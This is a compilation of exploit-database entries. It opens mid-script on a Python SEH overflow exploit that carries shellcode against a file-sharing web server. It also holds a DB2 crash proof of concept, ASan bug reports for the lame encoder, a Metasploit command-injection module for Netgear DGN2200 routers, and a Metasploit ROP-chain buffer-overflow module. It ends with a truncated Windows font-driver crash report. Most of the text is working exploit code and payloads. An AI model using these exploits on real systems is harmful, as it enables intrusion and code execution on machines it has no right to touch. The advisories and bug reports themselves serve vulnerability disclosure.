buf += "\xdb\xd2\xd9\x74\x24\xf4\x5f\xba\xb7\xe7\x7d\x1e\x29"
buf += "\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\xe0\xf4\x9f"
buf += "\xeb\xf2\x13\xdd\x14\x0a\xe4\x82\x9d\xef\xd5\x82\xfa"
buf += "\x64\x45\x33\x88\x28\x6a\xb8\xdc\xd8\xf9\xcc\xc8\xef"
buf += "\x4a\x7a\x2f\xde\x4b\xd7\x13\x41\xc8\x2a\x40\xa1\xf1"
buf += "\xe4\x95\xa0\x36\x18\x57\xf0\xef\x56\xca\xe4\x84\x23"
buf += "\xd7\x8f\xd7\xa2\x5f\x6c\xaf\xc5\x4e\x23\xbb\x9f\x50"
buf += "\xc2\x68\x94\xd8\xdc\x6d\x91\x93\x57\x45\x6d\x22\xb1"
buf += "\x97\x8e\x89\xfc\x17\x7d\xd3\x39\x9f\x9e\xa6\x33\xe3"
buf += "\x23\xb1\x80\x99\xff\x34\x12\x39\x8b\xef\xfe\xbb\x58"
buf += "\x69\x75\xb7\x15\xfd\xd1\xd4\xa8\xd2\x6a\xe0\x21\xd5"
buf += "\xbc\x60\x71\xf2\x18\x28\x21\x9b\x39\x94\x84\xa4\x59"
buf += "\x77\x78\x01\x12\x9a\x6d\x38\x79\xf3\x42\x71\x81\x03"
buf += "\xcd\x02\xf2\x31\x52\xb9\x9c\x79\x1b\x67\x5b\x7d\x36"
buf += "\xdf\xf3\x80\xb9\x20\xda\x46\xed\x70\x74\x6e\x8e\x1a"
buf += "\x84\x8f\x5b\x8c\xd4\x3f\x34\x6d\x84\xff\xe4\x05\xce"
buf += "\x0f\xda\x36\xf1\xc5\x73\xdc\x08\x8e\xbb\x89\xae\xcb"
buf += "\x54\xc8\xce\xda\x8d\x45\x28\xb6\xdd\x03\xe3\x2f\x47"
buf += "\x0e\x7f\xd1\x88\x84\xfa\xd1\x03\x2b\xfb\x9c\xe3\x46"
buf += "\xef\x49\x04\x1d\x4d\xdf\x1b\x8b\xf9\x83\x8e\x50\xf9"
buf += "\xca\xb2\xce\xae\x9b\x05\x07\x3a\x36\x3f\xb1\x58\xcb"
buf += "\xd9\xfa\xd8\x10\x1a\x04\xe1\xd5\x26\x22\xf1\x23\xa6"
buf += "\x6e\xa5\xfb\xf1\x38\x13\xba\xab\x8a\xcd\x14\x07\x45"
buf += "\x99\xe1\x6b\x56\xdf\xed\xa1\x20\x3f\x5f\x1c\x75\x40"
buf += "\x50\xc8\x71\x39\x8c\x68\x7d\x90\x14\x98\x34\xb8\x3d"
buf += "\x31\x91\x29\x7c\x5c\x22\x84\x43\x59\xa1\x2c\x3c\x9e"
buf += "\xb9\x45\x39\xda\x7d\xb6\x33\x73\xe8\xb8\xe0\x74\x39"

crash = "/.:/"                #unusual but needed
crash += "A"*53               #offset
crash += "\xeb\x10\x90\x90"   #seh
crash += "\x05\x86\x01\x10"   #pop pop ret ImageLoad.dll (WinXP SP3)
crash += "D"*10               #junk
crash += buf                  #shellcode
crash += "E"*2600             #total string needs to be about 3000 chars

 
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + crash + "; frmUserName=; frmUserPass=;"
request += " rememberPass=202.197.208.215.201"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"

print "[*] Connecting to Target " + host + "...standby..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
	connect=s.connect((host, port))
	print "[*] Successfully connected to " + host + "!!!"
except:
	print "[!] " + host + " didn't respond\n"
	sys.exit(0)


print "[*] Sending improperly formed request..."
s.send(request + "\r\n\r\n")
print "[!] Request has been sent!\n"
s.close()
HireHackking 
'''
           DefenseCode Security Advisory
    IBM DB2 Command Line Processor Buffer Overflow


Advisory ID: DC-2017-04-002
Advisory Title: IBM DB2 Command Line Processor Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/IBM_DB2_Command_Line_Processor_Buffer_Overflow.pdf
Software: IBM DB2
Version: V9.7, V10.1, V10.5 and V11.1 on all platforms
Vendor Status: Vendor Contacted / Fixed (CVE-2017-1297)
Release Date: 26.06.2017
Risk: High


1. General Overview
===================
IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) Command
Line Process (CLP) is vulnerable to a stack based buffer overflow, caused
by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly
long procedure name inside a CALL statement.


2. Software Overview
===================
DB2 is a database product from IBM. It is a Relational Database Management
System. DB2 is designed to store, analyze and retrieve the data efficiently.
DB2 currently supports Linux, UNIX and Windows platforms.

db2bp is a persistent background process for the DB2 Command Line
Processor,
and it is the process which actually connects to the database.


3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the db2 CLP utility, it is
possible to cause a buffer overflow and possibly hijack the execution flow
of the program. Crafted file contains a CALL statement with an overly long
procedure parameter.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:

-------
'''

#!/usr/bin/python

load_overflow = 'A' * 1000
statement = "CALL " + load_overflow + ";"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()

'''
-------

PoC usage: db2 -f crash.sql


4. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.


5. About DefenseCode
================================
DefenseCode L.L.C. delivers products and services designed to analyze
and test
web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox
Testing) solution for performing extensive security audits of
application source
code. ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox
Testing) solution for comprehensive security audits of active web
applications.
WebScanner will test a website's security by carrying out a large number of
attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com/
'''
HireHackking 
Description:
lame is a high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.

Few notes before the details of this bug. Time ago a fuzz was done by Brian Carpenter and Jakub Wilk which posted the results on the debian bugtracker. In cases like this, when upstream is not active and people do not post on the upstream bugzilla is easy discover duplicates, so I downloaded all available testcases, and noone of the bug you will see on my blog is a duplicate of an existing issue. Upstream seems a bit dead, latest release was into 2011, so this blog post will probably forwarded on the upstream bugtracker just for the record.

The complete ASan output of the issue:

# lame -f -V 9 $FILE out.wav
==30801==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe82a515a0 at pc 0x7f56d24c9df7 bp 0x7ffe82a4ffb0 sp 0x7ffe82a4ffa8
WRITE of size 4 at 0x7ffe82a515a0 thread T0
    #0 0x7f56d24c9df6 in III_dequantize_sample /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c
    #1 0x7f56d24a664f in decode_layer3_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c:1738:17
    #2 0x7f56d24733ca in decodeMP3_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:615:13
    #3 0x7f56d2470c13 in decodeMP3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:696:12
    #4 0x7f56d2431092 in decode1_headersB_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:149:11
    #5 0x7f56d243694a in hip_decode1_headersB /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:436:16
    #6 0x7f56d243694a in hip_decode1_headers /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:379
    #7 0x51e984 in lame_decode_fromfile /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:2089:11
    #8 0x51e984 in read_samples_mp3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:877
    #9 0x51e984 in get_audio_common /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:785
    #10 0x51e4fa in get_audio /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:688:16
    #11 0x50f776 in lame_encoder_loop /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:456:17
    #12 0x50f776 in lame_encoder /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:531
    #13 0x50c43f in lame_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:707:15
    #14 0x510793 in c_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:470:15
    #15 0x510793 in main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:438
    #16 0x7f56d1029680 in __libc_start_main /tmp/portage/sys-libs/glibc-2.23-r3/work/glibc-2.23/csu/../csu/libc-start.c:289
    #17 0x41c998 in _init (/usr/bin/lame+0x41c998)

Address 0x7ffe82a515a0 is located in stack of thread T0 at offset 5024 in frame
    #0 0x7f56d24a548f in decode_layer3_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c:1659

  This frame has 4 object(s):
    [32, 344) 'scalefacs'
    [416, 5024) 'hybridIn' 0x1000505422b0: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x1000505422c0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x1000505422d0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000505422e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000505422f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100050542300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30801==ABORTING
Affected version:
3.99.5

Fixed version:
N/A

Commit fix:
N/A

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
N/A

Reproducer:
https://github.com/asarubbo/poc/blob/master/00294-lame-stackoverflow-III_dequantize_sample

Timeline:
2017-06-01: bug discovered
2017-06-17: blog post about the issue

Note:
This bug was found with American Fuzzy Lop.

Permalink:
https://blogs.gentoo.org/ago/2017/06/17/lame-stack-based-buffer-overflow-in-iii_dequantize_sample-layer3-c


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42259.zip
HireHackking 
Description:
lame is a high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.

Few notes before the details of this bug. Time ago a fuzz was done by Brian Carpenter and Jakub Wilk which posted the results on the debian bugtracker. In cases like this, when upstream is not active and people do not post on the upstream bugzilla is easy discover duplicates, so I downloaded all available testcases, and noone of the bug you will see on my blog is a duplicate of an existing issue. Upstream seems a bit dead, latest release was into 2011, so this blog post will probably forwarded on the upstream bugtracker just for the record.

The complete ASan output of the issue:

# lame -f -V 9 $FILE out.wav
==27479==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f598d317f20 at pc 0x7f598d2b246b bp 0x7ffe780cf310 sp 0x7ffe780cf308
READ of size 2 at 0x7f598d317f20 thread T0
    #0 0x7f598d2b246a in II_step_one /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:144:36
    #1 0x7f598d2b246a in decode_layer2_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:375
    #2 0x7f598d29b377 in decodeMP3_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:611:13
    #3 0x7f598d298c13 in decodeMP3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:696:12
    #4 0x7f598d259092 in decode1_headersB_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:149:11
    #5 0x7f598d25e94a in hip_decode1_headersB /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:436:16
    #6 0x7f598d25e94a in hip_decode1_headers /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:379
    #7 0x51e984 in lame_decode_fromfile /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:2089:11
    #8 0x51e984 in read_samples_mp3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:877
    #9 0x51e984 in get_audio_common /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:785
    #10 0x51e4fa in get_audio /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:688:16
    #11 0x50f776 in lame_encoder_loop /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:456:17
    #12 0x50f776 in lame_encoder /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:531
    #13 0x50c43f in lame_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:707:15
    #14 0x510793 in c_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:470:15
    #15 0x510793 in main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:438
    #16 0x7f598be51680 in __libc_start_main /tmp/portage/sys-libs/glibc-2.23-r3/work/glibc-2.23/csu/../csu/libc-start.c:289
    #17 0x41c998 in _init (/usr/bin/lame+0x41c998)

0x7f598d317f20 is located 0 bytes to the right of global variable 'alloc_2' defined in '/var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/l2tables.h:118:24' (0x7f598d317de0) of size 320
SUMMARY: AddressSanitizer: global-buffer-overflow /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:144:36 in II_step_one
Shadow bytes around the buggy address:
  0x0febb1a5af90: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5afa0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5afb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0febb1a5afc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5afd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0febb1a5afe0: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0febb1a5aff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b020: 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5b030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==27479==ABORTING
Affected version:
3.99.5

Fixed version:
N/A

Commit fix:
N/A

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
N/A

Reproducer:
https://github.com/asarubbo/poc/blob/master/00290-lame-globaloverflow-II_step_one

Timeline:
2017-06-01: bug discovered
2017-06-17: blog post about the issue

Note:
This bug was found with American Fuzzy Lop.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42258.zip
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Netgear DGN2200 dnslookup.cgi Command Injection",
      'Description'          => %q{
        This module exploits a command injection vulnerablity in NETGEAR
        DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
        with valid login details.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => 'unix',
      'Author'               => [
        'thecarterb',  # Metasploit Module
        'SivertPL'     # Vuln discovery
      ],
      'DefaultTarget'        => 0,
      'Privileged'           => true,
      'Arch'                 => [ARCH_CMD],
      'Targets'              => [
        [ 'NETGEAR DDGN2200 Router', { } ]
      ],
      'References'           =>
        [
          [ 'EDB', '41459'],
          [ 'CVE', '2017-6334']
        ],
      'DisclosureDate' => 'Feb 25 2017',
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ])

    register_advanced_options(
    [
      OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
    ])
    end

  # Requests the login page which tells us the hardware version
  def check
    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
     # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      vprint_status("Router is a NETGEAR router (#{model})")
      model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
      if model_numbers.include?(model)
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe
    end
  end

  def exploit
    check

    # Convert datastores
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    hostname = datastore['HOSTNAME']

    vprint_status("Using encoder: #{payload.encoder} ")
    print_status('Sending payload...')

    vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")

    creds_combined = Base64.strict_encode64("#{user}:#{pass}")
    vprint_status("Encoded authentication: #{creds_combined}")

    res = send_request_cgi({
      'uri'         => '/dnslookup.cgi',
      'headers'     => {
        'Authorization' => "Basic #{creds_combined}"
      },
      'vars_post'   => {
        'lookup'    => 'Lookup',
        'host_name' => hostname + '; ' + payload.encoded
    }})

  end
end
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  #include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
      'Description'    => %q{
        This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
      },
      'Author'         =>
        [
          'bl4ck h4ck3r', #POC
          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '42186' ],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
        ],
      'DefaultOptions' => {
          'RPORT' => 80,
          'EXITFUNC' => 'thread',
          'ENCODER' => 'x86/alpha_mixed'
        },
      'DisclosureDate' => 'Jun 12 2017',
      'DefaultTarget'  => 0))
  end

  def create_rop_chain
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        # 0x00000000,  # [-] Unable to find gadget to put 00000201 into ebx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0xFFFFFDFE,  # -202
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]|   {PAGE_EXECUTE_READ}
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x61c832d0,  # ptr to &VirtualProtect() [IAT sqlite3.dll]
        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll]
        0x1001d626,  # XOR ESI,ESI # RETN [ImageLoad.dll]
        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
        0x100218f9,  # POP EBP # RETN [ImageLoad.dll]
        0x61c24169,  # & push esp # ret  [sqlite3.dll]
        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x1001bd98,  # POP ECX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
        0x61c373a4,  # POP EDI # RETN [sqlite3.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x90909090,  # nop
        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll]
    ].flatten.pack('V*')
    return rop_gadgets
  end

  def exploit
    sploit = rand_text_alpha_upper(2278)
    rop_chain = create_rop_chain
    sploit << rop_chain
    sploit << "\x90" * 200
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
    sploit << [target.ret].pack('V')

    request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
    connect
    sock.put(request)
    handler
    disconnect
  end
end
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1213

We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file, see below:

---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fb69b01e, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 8f635862, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

[...]

FAULTING_IP: 
ATMFD+35862
8f635862 803802          cmp     byte ptr [eax],2

MM_INTERNAL_CODE:  0

CPU_COUNT: 4

CPU_MHZ: da3

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3e

CPU_STEPPING: 4

CPU_MICROCODE: 6,3e,4,0 (F,M,S,R)  SIG: 19'00000000 (cache) 19'00000000 (init)

